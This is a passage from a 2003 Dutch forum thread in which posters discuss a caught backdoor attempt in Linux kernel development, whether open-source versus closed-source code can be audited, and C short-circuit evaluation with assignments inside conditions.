Ik wil niet weer discussie win-linux oprakelen, maar het is voor een bedrijf zeer onwenselijk als dit soort backdoors naar buiten komen (ook voor open source). In een bedrijf kan het op verschillende niveau's gebeuren, een programmeur die voor zichzelf een backdoor in bouwt en dit geheim houdt en ook nog eens langs de controle/review board weten te loodsen.

Tweede is zoals jij suggereert dat er moedwillige vanuit bedrijfspolicy backdoors worden in gebouwd. Dan moeten er dus meerdere mensen (hoge personen) zijn die er van af weten. Dus deze mensen moet je koste wat kost in dienst houden en tevreden houden, want als ze dat gaan lekken dan is het eind van (in dit geval). Niet te vergeten wat mensen die er van af weten wel niet kunnen roepen op een nieuwjaarsborrel


Ik suggereer helemaal niets... Ik zeg alleen dat ik dat bij een closed-source OS als dat van Microsoft op geen enkele wijze kan achterhalen. Terwijl ik dat bij een open-source kernel als die van Linux of MacOSX zelf kan controleren, als ik dat wil.
Zeg nou zelf, hoeveel waarde zou jij hechten aan een dergelijke verklaring van een oud MS medewerker? Ook daarvan kun je nooit controleren of het waar is, want weer heb je nog steeds geen zicht op de source, op dezelfde manier zou je ook een ontkenning van MS niet kunnen controleren.
nipengzaterdag 8 november 2003 @ 18:52
Dit is wat ik ervan begrijp:

De code is tijdens een van de standaardchecks eruit gevist.
Het heeft nooit de main tree bereikt, het enkel development deel (als ik het zo goed uitleg). Dat de poging in een vroeg stadium is gevonden bewijst dat het systeem werkt.

Trouwens de hack was een local exploit.

Correct me if I'm wrong, ben geen expert op het gebied.

De grootste security risico's lijkem gerelateerd aan de vele app's die er beschikbaar zijn en die niet zo goed gecontroleerd worden als de kernel, maar ja, deze risico's heb je ook bij andere os'en.

Jaluzaterdag 8 november 2003 @ 18:54
quote:
Op zaterdag 8 november 2003 18:52 schreef nipeng het volgende:
Dit is wat ik ervan begrijp:

De code is tijdens een van de standaardchecks eruit gevist.
Het heeft nooit de main tree bereikt, het enkel development deel (als ik het zo goed uitleg). Dat de poging in een vroeg stadium is gevonden bewijst dat het systeem werkt.

Trouwens de hack was een local exploit.

Correct me if I'm wrong, ben geen expert op het gebied.

De grootste security risico's lijkem gerelateerd aan de vele app's die er beschikbaar zijn en die niet zo goed gecontroleerd worden als de kernel, maar ja, deze risico's heb je ook bij andere os'en.


Inderdaad, en dat zijn dan ook geen OS-gebonden risico's maar applicatie-gebonden risico's.
Najramaandag 10 november 2003 @ 23:54
quote:
Op zaterdag 8 november 2003 16:50 schreef Pharkus het volgende:

[..]

Het wordt van links naar rechts geevalueerd. Dus als de eerste expressie onwaar is dan wordt de tweede niet geevalueerd, dit is gedaan om de snelheid op te schroeven, waarom zou je in een && de tweede expressie ook gaan evualueren als het nooit meer true gaat worden?


Omdat er in de tweede expressie een toewijzing plaats vindt. Als die toewijzing later gebruikt moet worden dan loopt je hele programma in de soep omdat die nooit heeft plaatsgevonden. Maar die optimalisatie wordt dus wel uitgevoerd.

Ten tweede zie ik in waar ik fout zit. Het is niet volgorde van expressie behandeling waar je naar moet kijken maar simpelweg naar operator precedence de associativiteit van de operator. Bij een && is die links-rechts dus links wordt als eerste behandeld.

[Dit bericht is gewijzigd door Najra op 11-11-2003 00:03]

maartenadinsdag 11 november 2003 @ 00:38
quote:
Op vrijdag 7 november 2003 10:09 schreef BladE-l----- het volgende:
Er is natuurlijk wel een verschil tussen stomme fouten van Microsoft en opzettelijke sabotage in de opensource-gemeenschap.
In Linux zitten ook genoeg "stomme fouten" hoor En wie zegt dat Microsoft niet opzettelijk sabotage pleegd?
Pharkusdinsdag 11 november 2003 @ 12:32
quote:
Op maandag 10 november 2003 23:54 schreef Najra het volgende:
Omdat er in de tweede expressie een toewijzing plaats vindt. Als die toewijzing later gebruikt moet worden dan loopt je hele programma in de soep omdat die nooit heeft plaatsgevonden. Maar die optimalisatie wordt dus wel uitgevoerd.
Ik vind toewijzingen zo ie zo niet horen in if's while's etc (dat het wel veel gebruikt wordt ok). Dit is dus ook een van de redenen om toewijzingen dus ook niet in if's te doen, er is een kans dat ze niet toegewezen worden. Plus dat het duidelijker is om de toewijzing eerder of later te doen.
Najradinsdag 11 november 2003 @ 23:51
quote:
Op dinsdag 11 november 2003 12:32 schreef Pharkus het volgende:

[..]

Ik vind toewijzingen zo ie zo niet horen in if's while's etc (dat het wel veel gebruikt wordt ok). Dit is dus ook een van de redenen om toewijzingen dus ook niet in if's te doen, er is een kans dat ze niet toegewezen worden. Plus dat het duidelijker is om de toewijzing eerder of later te doen.


Vooropgesteld een optimalisatie zou eigenlijk nooit syntactisch en semantisch correcte code onwerkbaar mogen maken. Hoe vies die code dan ook geschreven is. Dat optimalisaties soms niet helemaal de regels volgen om een grote winst te kunnen boeken is dan een noodzakelijk kwaad denk ik. Maar dat is zeker geen reden om dat als argument te gebruiken. Code wordt minder netjes als het voor de lezer minder overzichtelijk is, niet omdat de compiler dan de code kan verneuken. Verder kan je natuurlijk ook code beter maken door het meer gericht te schrijven voor een optimalisatie.

Dan erbij gaat in sommige gevallen het argument niet eens op. Bijvoorbeeld bij het gebruik van de ++ en -- operators. Net zo goed toewijzingen.